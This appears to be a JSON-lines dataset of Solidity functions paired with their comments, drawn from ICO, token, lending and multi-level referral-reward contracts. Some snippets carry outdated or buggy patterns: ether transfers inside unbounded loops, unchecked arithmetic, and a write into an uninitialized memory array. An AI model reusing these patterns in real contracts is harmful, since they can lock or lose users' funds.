assets);\n }", "version": "0.7.6"} {"comment": "// calculates a new senior asset value based on senior redeem and senior supply", "function_code": "function calcSeniorAssetValue(uint seniorRedeem, uint seniorSupply,\n uint currSeniorAsset, uint reserve_, uint nav_) public pure returns (uint seniorAsset) {\n\n seniorAsset = safeSub(safeAdd(currSeniorAsset, seniorSupply), seniorRedeem);\n uint assets = calcAssets(nav_, reserve_);\n if(seniorAsset > assets) {\n seniorAsset = assets;\n }\n\n return seniorAsset;\n }", "version": "0.7.6"} {"comment": "// returns the current junior ratio protection in the Tinlake\n// juniorRatio is denominated in RAY (10^27)", "function_code": "function calcJuniorRatio() public view returns(uint) {\n uint seniorAsset = safeAdd(seniorDebt(), seniorBalance_);\n uint assets = safeAdd(navFeed.approximatedNAV(), reserve.totalBalance());\n\n if(seniorAsset == 0 && assets == 0) {\n return 0;\n }\n\n if(seniorAsset == 0 && assets > 0) {\n return ONE;\n }\n\n if (seniorAsset > assets) {\n return 0;\n }\n\n return safeSub(ONE, rdiv(seniorAsset, assets));\n }", "version": "0.7.6"} {"comment": "// returns the remainingCredit plus a buffer for the interest increase", "function_code": "function remainingCredit() public view returns(uint) {\n if (address(lending) == address(0)) {\n return 0;\n }\n\n // over the time the remainingCredit will decrease because of the accumulated debt interest\n // therefore a buffer is reduced from the remainingCredit to prevent the usage of currency which is not available\n uint debt = lending.debt();\n uint stabilityBuffer = safeSub(rmul(rpow(lending.stabilityFee(),\n creditBufferTime, ONE), debt), debt);\n uint remainingCredit_ = lending.remainingCredit();\n if(remainingCredit_ > stabilityBuffer) {\n return safeSub(remainingCredit_, stabilityBuffer);\n }\n\n return 0;\n }", "version": "0.7.6"} {"comment": "// Initializing the round. Available to the manager. After calling the function,\n// the Manager loses all rights: Manager can not change the settings (setup), change\n// wallets, prevent the beginning of the round, etc. You must call a function after setup\n// for the initial round (before the Round1 and before the Round2)", "function_code": "function initialize() public {\r\n\r\n // Only the Manager\r\n require(wallets[uint8(Roles.manager)] == msg.sender);\r\n\r\n // If not yet initialized\r\n require(!isInitialized);\r\n\r\n // And the specified start time has not yet come\r\n // If initialization return an error, check the start date!\r\n require(now <= startTime);\r\n\r\n initialization();\r\n\r\n Initialized();\r\n\r\n isInitialized = true;\r\n }", "version": "0.4.18"} {"comment": "// Customize. The arguments are described in the constructor above.", "function_code": "function setup(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime, uint256 _softCap, uint256 _hardCap, uint256 _rate, uint256 _overLimit, uint256 _minPay, uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit, uint256[] _value, uint256[] _procent, uint256[] _freezeTime) public{\r\n changePeriod(_startTime, _endDiscountTime, _endTime);\r\n changeTargets(_softCap, _hardCap);\r\n changeRate(_rate, _overLimit, _minPay);\r\n changeDiscount(_minProfit, _maxProfit, _stepProfit, _maxAllProfit);\r\n setBonuses(_value, _procent, _freezeTime);\r\n }", "version": "0.4.18"} {"comment": "// start new ico, duration in seconds", "function_code": "function startICO(uint _startTime, uint _duration, uint _amount) external whenNotActive(currentRound) onlyMasters {\r\n currentRound++;\r\n // first ICO - round = 1\r\n ICO storage ico = ICORounds[currentRound];\r\n\r\n ico.startTime = _startTime;\r\n ico.finishTime = _startTime.add(_duration);\r\n ico.active = true;\r\n\r\n tokensOnSale = forceToken.balanceOf(address(this)).sub(reservedTokens);\r\n //check if tokens on balance not enough, make a transfer\r\n if (_amount > tokensOnSale) {\r\n //TODO ? maybe better make before transfer from owner (DAO)\r\n // be sure needed amount exists at token contract\r\n require(forceToken.serviceTransfer(address(forceToken), address(this), _amount.sub(tokensOnSale)));\r\n tokensOnSale = _amount;\r\n }\r\n // reserving tokens\r\n ico.tokensOnSale = tokensOnSale;\r\n reservedTokens = reservedTokens.add(tokensOnSale);\r\n emit ICOStarted(currentRound);\r\n }", "version": "0.4.21"} {"comment": "// refunds participant if he recall their funds", "function_code": "function recall() external whenActive(currentRound) duringRound(currentRound) {\r\n ICO storage ico = ICORounds[currentRound];\r\n Participant storage p = ico.participants[msg.sender];\r\n uint value = p.value;\r\n require(value > 0);\r\n //deleting participant from list\r\n ico.participants[ico.participantsList[ico.totalParticipants]].index = p.index;\r\n ico.participantsList[p.index] = ico.participantsList[ico.totalParticipants];\r\n delete ico.participantsList[ico.totalParticipants--];\r\n delete ico.participants[msg.sender];\r\n //reduce weiRaised\r\n ico.weiRaised = ico.weiRaised.sub(value);\r\n reservedFunds = reservedFunds.sub(value);\r\n msg.sender.transfer(valueFromPercent(value, recallPercent));\r\n emit Recall(msg.sender, value, currentRound);\r\n }", "version": "0.4.21"} {"comment": "//get current token price", "function_code": "function currentPrice() public view returns (uint) {\r\n ICO storage ico = ICORounds[currentRound];\r\n uint salePrice = tokensOnSale > 0 ? ico.weiRaised.div(tokensOnSale) : 0;\r\n return salePrice > minSalePrice ? salePrice : minSalePrice;\r\n }", "version": "0.4.21"} {"comment": "// allows to participants reward their tokens from the specified round", "function_code": "function rewardRound(uint _round) public whenNotActive(_round) {\r\n ICO storage ico = ICORounds[_round];\r\n Participant storage p = ico.participants[msg.sender];\r\n\r\n require(p.needReward);\r\n p.needReward = false;\r\n ico.rewardedParticipants++;\r\n if (p.needCalc) {\r\n p.needCalc = false;\r\n ico.calcedParticipants++;\r\n p.amount = p.value.div(ico.finalPrice);\r\n p.change = p.value % ico.finalPrice;\r\n reservedFunds = reservedFunds.sub(p.value);\r\n if (p.change > 0) {\r\n ico.weiRaised = ico.weiRaised.sub(p.change);\r\n ico.change = ico.change.add(p.change);\r\n }\r\n } else {\r\n //assuming participant was already calced in calcICO\r\n ico.reservedTokens = ico.reservedTokens.sub(p.amount);\r\n if (p.change > 0) {\r\n reservedFunds = reservedFunds.sub(p.change);\r\n }\r\n }\r\n\r\n ico.tokensDistributed = ico.tokensDistributed.add(p.amount);\r\n ico.tokensOnSale = ico.tokensOnSale.sub(p.amount);\r\n reservedTokens = reservedTokens.sub(p.amount);\r\n\r\n if (ico.rewardedParticipants == ico.totalParticipants) {\r\n reservedTokens = reservedTokens.sub(ico.tokensOnSale);\r\n ico.tokensOnSale = 0;\r\n }\r\n\r\n //token transfer\r\n require(forceToken.transfer(msg.sender, p.amount));\r\n\r\n if (p.change > 0) {\r\n //transfer change\r\n msg.sender.transfer(p.change);\r\n }\r\n }", "version": "0.4.21"} {"comment": "// finish current round", "function_code": "function finishICO() external whenActive(currentRound) onlyMasters {\r\n ICO storage ico = ICORounds[currentRound];\r\n //avoid mistake with date in a far future\r\n //require(now > ico.finishTime);\r\n ico.finalPrice = currentPrice();\r\n tokensOnSale = 0;\r\n ico.active = false;\r\n if (ico.totalParticipants == 0) {\r\n reservedTokens = reservedTokens.sub(ico.tokensOnSale);\r\n ico.tokensOnSale = 0;\r\n\r\n }\r\n emit ICOFinished(currentRound);\r\n }", "version": "0.4.21"} {"comment": "// calculate participants in ico round", "function_code": "function calcICO(uint _fromIndex, uint _toIndex, uint _round) public whenNotActive(_round == 0 ? currentRound : _round) onlyMasters {\r\n ICO storage ico = ICORounds[_round == 0 ? currentRound : _round];\r\n require(ico.totalParticipants > ico.calcedParticipants);\r\n require(_toIndex <= ico.totalParticipants);\r\n require(_fromIndex > 0 && _fromIndex <= _toIndex);\r\n\r\n for(uint i = _fromIndex; i <= _toIndex; i++) {\r\n address _p = ico.participantsList[i];\r\n Participant storage p = ico.participants[_p];\r\n if (p.needCalc) {\r\n p.needCalc = false;\r\n p.amount = p.value.div(ico.finalPrice);\r\n p.change = p.value % ico.finalPrice;\r\n reservedFunds = reservedFunds.sub(p.value);\r\n if (p.change > 0) {\r\n ico.weiRaised = ico.weiRaised.sub(p.change);\r\n ico.change = ico.change.add(p.change);\r\n //reserving\r\n reservedFunds = reservedFunds.add(p.change);\r\n }\r\n ico.reservedTokens = ico.reservedTokens.add(p.amount);\r\n ico.calcedParticipants++;\r\n }\r\n }\r\n //if last, free all unselled tokens\r\n if (ico.calcedParticipants == ico.totalParticipants) {\r\n reservedTokens = reservedTokens.sub(ico.tokensOnSale.sub(ico.reservedTokens));\r\n ico.tokensOnSale = ico.reservedTokens;\r\n }\r\n }", "version": "0.4.21"} {"comment": "// Very dangerous action, only when new contract has been proved working\n// Requires storageContract already transferOwnership to the new contract\n// This method is only used to transfer the balance to owner", "function_code": "function destroy() external onlyOwner whenPaused {\r\n address storageOwner = storageContract.owner();\r\n // owner of storageContract must not be the current contract otherwise the storageContract will forever not accessible\r\n require(storageOwner != address(this));\r\n // Transfers the current balance to the owner and terminates the contract\r\n selfdestruct(owner);\r\n }", "version": "0.4.21"} {"comment": "// We change the parameters of the discount:% min bonus,% max bonus, number of steps.\n// Available to the manager. Description in the Crowdsale constructor", "function_code": "function changeDiscount(uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit) public {\r\n\r\n require(wallets[uint8(Roles.manager)] == msg.sender);\r\n\r\n require(!isInitialized);\r\n \r\n require(_maxProfit <= _maxAllProfit);\r\n\r\n // The parameters are correct\r\n require(_stepProfit <= _maxProfit.sub(_minProfit));\r\n\r\n // If not zero steps\r\n if(_stepProfit > 0){\r\n // We will specify the maximum percentage at which it is possible to provide\r\n // the specified number of steps without fractional parts\r\n profit.max = _maxProfit.sub(_minProfit).div(_stepProfit).mul(_stepProfit).add(_minProfit);\r\n }else{\r\n // to avoid a divide to zero error, set the bonus as static\r\n profit.max = _minProfit;\r\n }\r\n\r\n profit.min = _minProfit;\r\n profit.step = _stepProfit;\r\n profit.maxAllProfit = _maxAllProfit;\r\n }", "version": "0.4.18"} {"comment": "// override to make sure everything is initialized before the unpause", "function_code": "function unpause() public onlyOwner whenPaused {\r\n // can not unpause when the logic contract is not initialzed\r\n require(nonFungibleContract != address(0));\r\n require(storageContract != address(0));\r\n // can not unpause when ownership of storage contract is not the current contract\r\n require(storageContract.owner() == address(this));\r\n\r\n super.unpause();\r\n }", "version": "0.4.21"} {"comment": "// Withdraw balance to the Core Contract", "function_code": "function withdrawBalance() external returns (bool) {\r\n address nftAddress = address(nonFungibleContract);\r\n // either Owner or Core Contract can trigger the withdraw\r\n require(msg.sender == owner || msg.sender == nftAddress);\r\n // The owner has a method to withdraw balance from multiple contracts together,\r\n // use send here to make sure even if one withdrawBalance fails the others will still work\r\n bool res = nftAddress.send(address(this).balance);\r\n return res;\r\n }", "version": "0.4.21"} {"comment": "// Change the address for the specified role.\n// Available to any wallet owner except the observer.\n// Available to the manager until the round is initialized.\n// The Observer's wallet or his own manager can change at any time.", "function_code": "function changeWallet(Roles _role, address _wallet) public\r\n {\r\n require(\r\n (msg.sender == wallets[uint8(_role)] && _role != Roles.observer)\r\n ||\r\n (msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer))\r\n );\r\n address oldWallet = wallets[uint8(_role)];\r\n wallets[uint8(_role)] = _wallet;\r\n if(!unpausedWallet(oldWallet))\r\n token.delUnpausedWallet(oldWallet);\r\n if(unpausedWallet(_wallet))\r\n token.addUnpausedWallet(_wallet);\r\n }", "version": "0.4.18"} {"comment": "// We accept payments other than Ethereum (ETH) and other currencies, for example, Bitcoin (BTC).\n// Perhaps other types of cryptocurrency - see the original terms in the white paper and on the TokenSale website.\n// We release tokens on Ethereum. During the Round1 and Round2 with a smart contract, you directly transfer\n// the tokens there and immediately, with the same transaction, receive tokens in your wallet.\n// When paying in any other currency, for example in BTC, we accept your money via one common wallet.\n// Our manager fixes the amount received for the bitcoin wallet and calls the method of the smart\n// contract paymentsInOtherCurrency to inform him how much foreign currency has been received - on a daily basis.\n// The smart contract pins the number of accepted ETH directly and the number of BTC. Smart contract\n// monitors softcap and hardcap, so as not to go beyond this framework.\n// In theory, it is possible that when approaching hardcap, we will receive a transfer (one or several\n// transfers) to the wallet of BTC, that together with previously received money will exceed the hardcap in total.\n// In this case, we will refund all the amounts above, in order not to exceed the hardcap.\n// Collection of money in BTC will be carried out via one common wallet. The wallet's address will be published\n// everywhere (in a white paper, on the TokenSale website, on Telegram, on Bitcointalk, in this code, etc.)\n// Anyone interested can check that the administrator of the smart contract writes down exactly the amount\n// in ETH (in equivalent for BTC) there. In theory, the ability to bypass a smart contract to accept money in\n// BTC and not register them in ETH creates a possibility for manipulation by the company. Thanks to\n// paymentsInOtherCurrency however, this threat is leveled.\n// Any user can check the amounts in BTC and the variable of the smart contract that accounts for this\n// (paymentsInOtherCurrency method). Any user can easily check the incoming transactions in a smart contract\n// on a daily basis. Any hypothetical tricks on the part of the company can be exposed and panic during the TokenSale,\n// simply pointing out the incompatibility of paymentsInOtherCurrency (ie, the amount of ETH + BTC collection)\n// and the actual transactions in BTC. The company strictly adheres to the described principles of openness.\n// The company administrator is required to synchronize paymentsInOtherCurrency every working day (but you\n// cannot synchronize if there are no new BTC payments). In the case of unforeseen problems, such as\n// brakes on the Ethereum network, this operation may be difficult. You should only worry if the\n// administrator does not synchronize the amount for more than 96 hours in a row, and the BTC wallet\n// receives significant amounts.\n// This scenario ensures that for the sum of all fees in all currencies this value does not exceed hardcap.\n// BTC - 1HQahivPX2cU5Nq921wSuULpuZyi9AcXCY\n// ** QUINTILLIONS ** 10^18 / 1**18 / 1e18", "function_code": "function paymentsInOtherCurrency(uint256 _token, uint256 _value) public {\r\n require(wallets[uint8(Roles.observer)] == msg.sender);\r\n bool withinPeriod = (now >= startTime && now <= endTime);\r\n\r\n bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit);\r\n require(withinPeriod && withinCap && isInitialized);\r\n\r\n nonEthWeiRaised = _value;\r\n tokenReserved = _token;\r\n\r\n }", "version": "0.4.18"} {"comment": "// The function for obtaining smart contract funds in ETH. If all the checks are true, the token is\n// transferred to the buyer, taking into account the current bonus.", "function_code": "function buyTokens(address beneficiary) public payable {\r\n require(beneficiary != 0x0);\r\n require(validPurchase());\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n uint256 ProfitProcent = getProfitPercent();\r\n\r\n var (bonus, dateUnfreeze) = getBonuses(weiAmount);\r\n \r\n // Scenario 1 - select max from all bonuses + check profit.maxAllProfit\r\n //uint256 totalProfit = ProfitProcent;\r\n //totalProfit = (totalProfit < bonus) ? bonus : totalProfit;\r\n //totalProfit = (totalProfit > profit.maxAllProfit) ? profit.maxAllProfit : totalProfit;\r\n \r\n // Scenario 2 - sum both bonuses + check profit.maxAllProfit\r\n uint256 totalProfit = bonus.add(ProfitProcent);\r\n totalProfit = (totalProfit > profit.maxAllProfit)? profit.maxAllProfit: totalProfit;\r\n \r\n // calculate token amount to be created\r\n uint256 tokens = weiAmount.mul(rate).mul(totalProfit + 100).div(100000);\r\n\r\n // update state\r\n ethWeiRaised = ethWeiRaised.add(weiAmount);\r\n\r\n lokedMint(beneficiary, tokens, dateUnfreeze);\r\n\r\n TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n\r\n forwardFunds();\r\n }", "version": "0.4.18"} {"comment": "// Trust _sender and spend _value tokens from your account", "function_code": "function approve(address _spender, uint256 _value) public returns (bool) {\r\n\r\n // To change the approve amount you first have to reduce the addresses\r\n // allowance to zero by calling `approve(_spender, 0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require((_value == 0) || (allowed[msg.sender][_spender] == 0));\r\n\r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// Transfer of tokens from the trusted address _from to the address _to in the number _value", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {\r\n\r\n uint256 available = balances[_from].sub(valueBlocked(_from));\r\n require(_value <= available);\r\n\r\n var _allowance = allowed[_from][msg.sender];\r\n\r\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\r\n // require (_value <= _allowance);\r\n\r\n require (_value > 0);\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// The contract takes the ERC20 coin address from which this contract will work and from the\n// owner (Team wallet) who owns the funds.", "function_code": "function SVTAllocation(TokenL _token, address _owner) public{\r\n\r\n // How many days to freeze from the moment of finalizing Round2\r\n unlockedAt = now + 1 years;\r\n\r\n token = _token;\r\n owner = _owner;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Fallback function allows to buy ether.", "function_code": "function()\r\n public\r\n payable\r\n validValue {\r\n // check the first buy => push to Array\r\n if (deposit[msg.sender] == 0 && msg.value != 0){\r\n // add new buyer to List\r\n buyers.push(msg.sender);\r\n }\r\n // increase amount deposit of buyer\r\n deposit[msg.sender] += msg.value;\r\n }", "version": "0.4.18"} {"comment": "/// @dev filter buyers in list buyers\n/// @param isInvestor type buyers, is investor or not", "function_code": "function filterBuyers(bool isInvestor)\r\n private\r\n constant\r\n returns(address[] filterList){\r\n address[] memory filterTmp = new address[](buyers.length);\r\n uint count = 0;\r\n for (uint i = 0; i < buyers.length; i++){\r\n if(approvedInvestorList[buyers[i]] == isInvestor){\r\n filterTmp[count] = buyers[i];\r\n count++;\r\n }\r\n }\r\n \r\n filterList = new address[](count);\r\n for (i = 0; i < count; i++){\r\n if(filterTmp[i] != 0x0){\r\n filterList[i] = filterTmp[i];\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev delivery token for buyer\n/// @param isInvestor transfer token for investor or not\n/// true: investors\n/// false: not investors", "function_code": "function deliveryToken(bool isInvestor)\r\n public\r\n onlyOwner\r\n validOriginalBuyPrice {\r\n //sumary deposit of investors\r\n uint256 sum = 0;\r\n \r\n for (uint i = 0; i < buyers.length; i++){\r\n if(approvedInvestorList[buyers[i]] == isInvestor) {\r\n \r\n // compute amount token of each buyer\r\n uint256 requestedUnits = deposit[buyers[i]] / _originalBuyPrice;\r\n \r\n //check requestedUnits > _icoSupply\r\n if(requestedUnits <= _icoSupply && requestedUnits > 0 ){\r\n // prepare transfer data\r\n // NOTE: make sure balances owner greater than _icoSupply\r\n balances[owner] -= requestedUnits;\r\n balances[buyers[i]] += requestedUnits;\r\n _icoSupply -= requestedUnits;\r\n \r\n // submit transfer\r\n Transfer(owner, buyers[i], requestedUnits);\r\n \r\n // reset deposit of buyer\r\n sum += deposit[buyers[i]];\r\n deposit[buyers[i]] = 0;\r\n }\r\n }\r\n }\r\n //transfer total ETH of investors to owner\r\n owner.transfer(sum);\r\n }", "version": "0.4.18"} {"comment": "/// @dev return ETH for normal buyers", "function_code": "function returnETHforNormalBuyers()\r\n public\r\n onlyOwner{\r\n for(uint i = 0; i < buyers.length; i++){\r\n // buyer not approve investor\r\n if (!approvedInvestorList[buyers[i]]) {\r\n // get deposit of buyer\r\n uint256 buyerDeposit = deposit[buyers[i]];\r\n // reset deposit of buyer\r\n deposit[buyers[i]] = 0;\r\n // return deposit amount for buyer\r\n buyers[i].transfer(buyerDeposit);\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "// ------------------------------------------------------------------------\n// Transfer _amount of tokens if _from has allowed msg.sender to do so\n// _from must have enough tokens + must have approved msg.sender \n// ------------------------------------------------------------------------", "function_code": "function transferFrom(address _from, address _to, uint _amount) \r\n public \r\n returns (bool success) {\r\n require(_to != address(0)); \r\n require(_to != address(this)); \r\n balances[_from] = balances[_from].sub(_amount);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n emit Transfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/// @dev Buys Gifto\n/// @return Amount of requested units ", "function_code": "function buy() payable\r\n onlyNotOwner \r\n validOriginalBuyPrice\r\n validInvestor\r\n onSale \r\n public\r\n returns (uint256 amount) {\r\n // convert buy amount in wei to number of unit want to buy\r\n uint requestedUnits = msg.value / _originalBuyPrice ;\r\n \r\n //check requestedUnits <= _icoSupply\r\n require(requestedUnits <= _icoSupply);\r\n\r\n // prepare transfer data\r\n balances[owner] -= requestedUnits;\r\n balances[msg.sender] += requestedUnits;\r\n \r\n // decrease _icoSupply\r\n _icoSupply -= requestedUnits;\r\n\r\n // submit transfer\r\n Transfer(owner, msg.sender, requestedUnits);\r\n\r\n //transfer ETH to owner\r\n owner.transfer(msg.value);\r\n \r\n return requestedUnits;\r\n }", "version": "0.4.18"} {"comment": "// contains five kinds of withdraw, 1 means withdraw static rewards, 2 means recommend rewards\n// 3 means team rewards, 4 means terminators rewards, 5 means node rewards", "function_code": "function withdraw(uint256 amount, uint8 value)\r\n public\r\n {\r\n address withdrawAddress = msg.sender;\r\n require(value == 1 || value == 2 || value == 3 || value == 4);\r\n\r\n uint256 _lockProfits = 0;\r\n uint256 _userRouteEth = 0;\r\n uint256 transValue = amount.mul(80).div(100);\r\n\r\n if (value == 1) {\r\n _userRouteEth = whetherTheCap();\r\n _lockProfits = SafeMath.mul(amount, remain).div(100);\r\n } else if (value == 2) {\r\n _userRouteEth = userInfo[withdrawAddress].straightEth;\r\n } else if (value == 3) {\r\n if (userInfo[withdrawAddress].staticTimeout) {\r\n require(userInfo[withdrawAddress].staticTime + 3 days >= block.timestamp);\r\n }\r\n _userRouteEth = userInfo[withdrawAddress].teamEth;\r\n } else if (value == 4) {\r\n _userRouteEth = amount.mul(80).div(100);\r\n terminatorInstance.modifyTerminatorReward(withdrawAddress, _userRouteEth);\r\n }\r\n\r\n earningsInstance.routeAddLockEth(withdrawAddress, amount, _lockProfits, _userRouteEth, value);\r\n\r\n address(uint160(withdrawAddress)).transfer(transValue);\r\n\r\n emit Withdraw(withdrawAddress, amount, value, block.timestamp);\r\n }", "version": "0.5.1"} {"comment": "// referral address support subordinate, 10%", "function_code": "function supportSubordinateAddress(uint256 index, address subordinate)\r\n public\r\n payable\r\n {\r\n User storage _user = userInfo[msg.sender];\r\n\r\n require(_user.ethAmount.sub(_user.tokenProfit.mul(100).div(120)) >= _user.refeTopAmount.mul(60).div(100));\r\n\r\n uint256 straightTime;\r\n address refeAddress;\r\n uint256 ethAmount;\r\n bool supported;\r\n (straightTime, refeAddress, ethAmount, supported) = recommendInstance.getRecommendByIndex(index, _user.userAddress);\r\n require(!supported);\r\n\r\n require(straightTime.add(3 days) >= block.timestamp && refeAddress == subordinate && msg.value >= ethAmount.div(10));\r\n\r\n if (_user.ethAmount.add(msg.value) >= _user.refeTopAmount.mul(60).div(100)) {\r\n _user.straightEth += ethAmount.mul(rewardRatio[2]).div(100);\r\n } else {\r\n _user.lockStraight += ethAmount.mul(rewardRatio[2]).div(100);\r\n }\r\n\r\n address straightAddress;\r\n address whiteAddress;\r\n address adminAddress;\r\n (straightAddress, whiteAddress, adminAddress,) = teamRewardInstance.getUserSystemInfo(subordinate);\r\n calculateBuy(userInfo[subordinate], msg.value, straightAddress, whiteAddress, adminAddress, subordinate);\r\n\r\n recommendInstance.setSupported(index, _user.userAddress, true);\r\n\r\n emit SupportSubordinateAddress(index, subordinate, refeAddress, supported);\r\n }", "version": "0.5.1"} {"comment": "// -------------------- internal function ----------------//\n// calculate team reward and issue reward\n//teamRatio = [6, 5, 4, 3, 3, 2, 2, 1, 1, 1, 1];", "function_code": "function teamReferralReward(uint256 ethAmount, address referralStraightAddress)\r\n internal\r\n {\r\n if (teamRewardInstance.isWhitelistAddress(msg.sender)) {\r\n uint256 _systemRetain = ethAmount.mul(rewardRatio[3]).div(100);\r\n uint256 _nodeReward = _systemRetain.mul(activateSystem).div(100);\r\n systemRetain += _nodeReward;\r\n address(uint160(nodeAddressReward)).transfer(_nodeReward.mul(100 - activateGlobal).div(100));\r\n address(uint160(globalAddressReward)).transfer(_nodeReward.mul(activateGlobal).div(100));\r\n address(uint160(systemAddress)).transfer(_systemRetain.mul(100 - activateSystem).div(100));\r\n } else {\r\n uint256 _refeReward = ethAmount.mul(rewardRatio[3]).div(100);\r\n\r\n //system residue eth\r\n uint256 residueAmount = _refeReward;\r\n\r\n //user straight address\r\n User memory currentUser = userInfo[referralStraightAddress];\r\n\r\n //issue team reward\r\n for (uint8 i = 2; i <= 12; i++) {//i start at 2, end at 12\r\n //get straight user\r\n address straightAddress = currentUser.straightAddress;\r\n\r\n User storage currentUserStraight = userInfo[straightAddress];\r\n //if straight user meet requirements\r\n if (currentUserStraight.level >= i) {\r\n uint256 currentReward = _refeReward.mul(teamRatio[i - 2]).div(29);\r\n currentUserStraight.teamEth = currentUserStraight.teamEth.add(currentReward);\r\n //sub reward amount\r\n residueAmount = residueAmount.sub(currentReward);\r\n }\r\n\r\n currentUser = userInfo[straightAddress];\r\n }\r\n\r\n uint256 _nodeReward = residueAmount.mul(activateSystem).div(100);\r\n systemRetain = systemRetain.add(_nodeReward);\r\n address(uint160(systemAddress)).transfer(residueAmount.mul(100 - activateSystem).div(100));\r\n\r\n address(uint160(nodeAddressReward)).transfer(_nodeReward.mul(100 - activateGlobal).div(100));\r\n address(uint160(globalAddressReward)).transfer(_nodeReward.mul(activateGlobal).div(100));\r\n }\r\n }", "version": "0.5.1"} {"comment": "// calculate bonus profit", "function_code": "function calculateProfit(User storage user, uint256 ethAmount, address users)\r\n internal\r\n {\r\n if (teamRewardInstance.isWhitelistAddress(user.userAddress)) {\r\n ethAmount = ethAmount.mul(110).div(100);\r\n }\r\n\r\n uint256 userBonus = ethToBonus(ethAmount);\r\n require(userBonus >= 0 && SafeMath.add(userBonus, totalSupply) >= totalSupply);\r\n totalSupply += userBonus;\r\n uint256 tokenDivided = SafeMath.mul(ethAmount, rewardRatio[1]).div(100);\r\n getPerBonusDivide(tokenDivided, userBonus, users);\r\n user.profitAmount += userBonus;\r\n }", "version": "0.5.1"} {"comment": "// get user bonus information for calculate static rewards", "function_code": "function getPerBonusDivide(uint256 tokenDivided, uint256 userBonus, address users)\r\n public\r\n {\r\n uint256 fee = tokenDivided * magnitude;\r\n perBonusDivide += SafeMath.div(SafeMath.mul(tokenDivided, magnitude), totalSupply);\r\n //calculate every bonus earnings eth\r\n fee = fee - (fee - (userBonus * (tokenDivided * magnitude / (totalSupply))));\r\n\r\n int256 updatedPayouts = (int256) ((perBonusDivide * userBonus) - fee);\r\n\r\n payoutsTo[users] += updatedPayouts;\r\n }", "version": "0.5.1"} {"comment": "// calculate straight reward and record referral address recommendRecord", "function_code": "function straightReferralReward(User memory user, uint256 ethAmount)\r\n internal\r\n {\r\n address _referralAddresses = user.straightAddress;\r\n userInfo[_referralAddresses].refeTopAmount = (userInfo[_referralAddresses].refeTopAmount > user.ethAmount) ? userInfo[_referralAddresses].refeTopAmount : user.ethAmount;\r\n userInfo[_referralAddresses].refeTopAddress = (userInfo[_referralAddresses].refeTopAmount > user.ethAmount) ? userInfo[_referralAddresses].refeTopAddress : user.userAddress;\r\n\r\n recommendInstance.pushRecommend(_referralAddresses, user.userAddress, ethAmount);\r\n\r\n if (teamRewardInstance.isWhitelistAddress(user.userAddress)) {\r\n uint256 _systemRetain = ethAmount.mul(rewardRatio[2]).div(100);\r\n\r\n uint256 _nodeReward = _systemRetain.mul(activateSystem).div(100);\r\n systemRetain += _nodeReward;\r\n address(uint160(systemAddress)).transfer(_systemRetain.mul(100 - activateSystem).div(100));\r\n\r\n address(uint160(globalAddressReward)).transfer(_nodeReward.mul(activateGlobal).div(100));\r\n address(uint160(nodeAddressReward)).transfer(_nodeReward.mul(100 - activateGlobal).div(100));\r\n }\r\n }", "version": "0.5.1"} {"comment": "// sort straight address, 10", "function_code": "function straightSortAddress(address referralAddress)\r\n internal\r\n {\r\n for (uint8 i = 0; i < 10; i++) {\r\n if (straightInviteAddress[straightSort[i]].length.sub(lastStraightLength[straightSort[i]]) < straightInviteAddress[referralAddress].length.sub(lastStraightLength[referralAddress])) {\r\n address [] memory temp;\r\n for (uint j = i; j < 10; j++) {\r\n temp[j] = straightSort[j];\r\n }\r\n straightSort[i] = referralAddress;\r\n for (uint k = i; k < 9; k++) {\r\n straightSort[k + 1] = temp[k];\r\n }\r\n }\r\n }\r\n }", "version": "0.5.1"} {"comment": "/// @notice Sell `amount` tokens to contract * 10 ** (decimals))\n/// @param amount amount of tokens to be sold", "function_code": "function sell(uint256 amount) public {\r\n amount = amount * 10 ** uint256(decimals) ;\r\n require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy\r\n _transfer(msg.sender, this, amount); // makes the transfers\r\n msg.sender.transfer(amount / sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks\r\n }", "version": "0.4.17"} {"comment": "// settle straight rewards", "function_code": "function settleStraightRewards()\r\n internal\r\n {\r\n uint256 addressAmount;\r\n for (uint8 i = 0; i < 10; i++) {\r\n addressAmount += straightInviteAddress[straightSort[i]].length - lastStraightLength[straightSort[i]];\r\n }\r\n\r\n uint256 _straightSortRewards = SafeMath.div(straightSortRewards, 2);\r\n uint256 perAddressReward = SafeMath.div(_straightSortRewards, addressAmount);\r\n for (uint8 j = 0; j < 10; j++) {\r\n address(uint160(straightSort[j])).transfer(SafeMath.mul(straightInviteAddress[straightSort[j]].length.sub(lastStraightLength[straightSort[j]]), perAddressReward));\r\n straightSortRewards = SafeMath.sub(straightSortRewards, SafeMath.mul(straightInviteAddress[straightSort[j]].length.sub(lastStraightLength[straightSort[j]]), perAddressReward));\r\n lastStraightLength[straightSort[j]] = straightInviteAddress[straightSort[j]].length;\r\n }\r\n delete (straightSort);\r\n currentBlockNumber = block.number;\r\n }", "version": "0.5.1"} {"comment": "// calculate bonus", "function_code": "function ethToBonus(uint256 ethereum)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n uint256 _price = bonusPrice * 1e18;\r\n // calculate by wei\r\n uint256 _tokensReceived =\r\n (\r\n 